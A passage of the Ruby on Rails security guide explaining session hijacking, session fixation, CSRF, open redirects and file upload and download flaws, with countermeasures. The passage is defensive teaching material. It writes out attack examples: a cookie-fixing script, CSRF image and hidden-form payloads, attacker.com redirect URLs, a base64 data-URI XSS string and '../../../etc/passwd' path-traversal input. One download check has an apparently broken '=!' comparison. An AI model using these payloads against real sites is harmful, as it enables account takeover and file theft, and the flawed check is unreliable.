-<div class="paragraph"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
-<div class="paragraph"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client&#8217;s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
-User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span></tt></pre></div></div>
-<h3 id="_session_id">2.2. Session id</h3>
-<div class="paragraph"><p>-- <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
-<div class="paragraph"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
-<h3 id="_session_hijacking">2.3. Session hijacking</h3>
-<div class="paragraph"><p>-- <em>Stealing a user&#8217;s session id lets an attacker use the web application in the victim&#8217;s name.</em></p></div>
-<div class="paragraph"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
-<div class="paragraph"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
-</p>
-</li>
-<li>
-<p>
-Most people don&#8217;t clear out the cookies after working at a public terminal. So if the last user didn&#8217;t log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
-</p>
-</li>
-<li>
-<p>
-Many cross-site scripting (XSS) exploits aim at obtaining the user&#8217;s cookie. You&#8217;ll read more about XSS later.
-</p>
-</li>
-<li>
-<p>
-Instead of stealing a cookie unknown to the attacker, he fixes a user&#8217;s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
-<h3 id="_session_guidelines">2.4. Session guidelines</h3>
-<div class="paragraph"><p>-- <em>Here are some general guidelines on sessions.</em></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won&#8217;t fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user&#8217;s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-</p>
-</li>
-<li>
-<p>
-<span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-</p>
-</li>
-</ul></div>
-<h3 id="_session_storage">2.5. Session storage</h3>
-<div class="paragraph"><p>-- <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
-<div class="paragraph"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
-<div class="paragraph"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user&#8217;s database id in a session is usually ok</span>.
-</p>
-</li>
-<li>
-<p>
-The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don&#8217;t want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don&#8217;t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>config.action_controller.session = {
- :key =&gt; ‘_app_session’,
- :secret =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
-}</tt></pre>
-</div></div>
-<div class="paragraph"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
-<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
-<div class="paragraph"><p>-- <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
-<div class="paragraph"><p>It works like this:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we&#8217;ll do this for demonstration purposes).
-</p>
-</li>
-<li>
-<p>
-The user buys something.
-</p>
-</li>
-<li>
-<p>
-His new, lower credit will be stored in the session.
-</p>
-</li>
-<li>
-<p>
-The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-</p>
-</li>
-<li>
-<p>
-The user has his credit back.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
-<div class="paragraph"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
-<h3 id="_session_fixation">2.7. Session fixation</h3>
-<div class="paragraph"><p>-- <em>Apart from stealing a user&#8217;s session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
-</div>
-</div>
-<div class="paragraph"><p>This attack focuses on fixing a user&#8217;s session id known to the attacker, and forcing the user&#8217;s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
-<div class="olist arabic"><ol class="arabic">
-<li>
-<p>
-The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-</p>
-</li>
-<li>
-<p>
-He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-</p>
-</li>
-<li>
-<p>
-Now the attacker will force the user&#8217;s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
-Read more about XSS and injection later on.
-</p>
-</li>
-<li>
-<p>
-The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim&#8217;s browser will change the session id to the trap session id.
-</p>
-</li>
-<li>
-<p>
-As the new trap session is unused, the web application will require the user to authenticate.
-</p>
-</li>
-<li>
-<p>
-From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn&#8217;t notice the attack.
-</p>
-</li>
-</ol></div>
-<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
-<div class="paragraph"><p>-- <em>One line of code will protect you from session fixation.</em></p></div>
-<div class="paragraph"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>reset_session</tt></pre></div></div>
-<div class="paragraph"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
-<div class="paragraph"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
-<h3 id="_session_expiry">2.9. Session expiry</h3>
-<div class="paragraph"><p>-- <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
-<div class="paragraph"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
-
 time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago
-
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute
-
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour
-
 <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day
-
 <span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour
-
 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
 <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>
-
 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span></tt></pre></div></div>
-</div>
-<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>-- <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
-</div>
-</div>
-<div class="paragraph"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let&#8217;s start with an example:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob&#8217;s project management application, rather than an image file.
-</p>
-</li>
-<li>
-<p>
-<tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt>
-</p>
-</li>
-<li>
-<p>
-Bob&#8217;s session at www.webapp.com is still alive, because he didn&#8217;t log out a few minutes ago.
-</p>
-</li>
-<li>
-<p>
-By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-</p>
-</li>
-<li>
-<p>
-The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-</p>
-</li>
-<li>
-<p>
-Bob doesn&#8217;t notice the attack&#8201;&#8212;&#8201;but a few days later he finds out that project number one is gone.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>It is important to notice that the actual crafted image or link doesn&#8217;t necessarily have to be situated in the web application&#8217;s domain, it can be anywhere – in a forum, blog post or email.</p></div>
-<div class="paragraph"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures)&#8201;&#8212;&#8201;less than 0.1% in 2006&#8201;&#8212;&#8201;but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
-<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
-<div class="paragraph"><p>-- <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
-<div class="paragraph"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
-<div class="paragraph"><p><strong>Use GET if:</strong></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p><strong>Use POST if:</strong></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
-</p>
-</li>
-<li>
-<p>
-The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-</p>
-</li>
-<li>
-<p>
-The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
-<div class="paragraph"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
-</div></div>
-<div class="paragraph"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
-<div class="paragraph"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser&#8217;s status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
-<span style="color: #FF0000"> var f = document.createElement('form');</span>
-<span style="color: #FF0000"> f.style.display = 'none';</span>
-<span style="color: #FF0000"> this.parentNode.appendChild(f);</span>
-<span style="color: #FF0000"> f.method = 'POST';</span>
-<span style="color: #FF0000"> f.action = 'http://www.example.com/account/destroy';</span>
-<span style="color: #FF0000"> f.submit();</span>
-<span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
-<div class="paragraph"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /&gt;</tt></p></div>
-<div class="paragraph"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
-<div class="paragraph"><p><tt>protect_from_forgery :secret =&gt; "123456789012345678901234567890..."</tt></p></div>
-<div class="paragraph"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won&#8217;t need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn&#8217;t match what was expected.</p></div>
-<div class="paragraph"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
-</div>
-<h2 id="_redirection_and_files">4. Redirection and Files</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
-<h3 id="_redirection">4.1. Redirection</h3>
-<div class="paragraph"><p>-- <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
-<div class="paragraph"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
- redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
-<div class="paragraph"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
-<div class="paragraph"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
-<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
-<div class="paragraph"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
-<div class="paragraph"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
-<div class="paragraph"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
-<h3 id="_file_uploads">4.2. File uploads</h3>
-<div class="paragraph"><p>-- <em>Make sure file uploads don&#8217;t overwrite important files, and process media files asynchronously.</em></p></div>
-<div class="paragraph"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
-<div class="paragraph"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don&#8217;t try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn&#8217;t a valid file name, reject it (or replace not accepted characters), but don&#8217;t remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
- returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
- <span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
- name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
- <span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
- name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
-<div class="paragraph"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
-<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
-<div class="paragraph"><p>-- <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache&#8217;s home directory.</em></p></div>
-<div class="paragraph"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
-<div class="paragraph"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
-<h3 id="_file_downloads">4.4. File downloads</h3>
-<div class="paragraph"><p>-- <em>Make sure users cannot download arbitrary files.</em></p></div>
-<div class="paragraph"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>Simply pass a file name like “../../../etc/passwd” to download the server&#8217;s login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
-filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
- File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
-send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span></tt></pre></div></div>
-<div class="paragraph"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
-</div>
-<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>-- <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
-<div class="paragraph"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
-<div class="paragraph"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
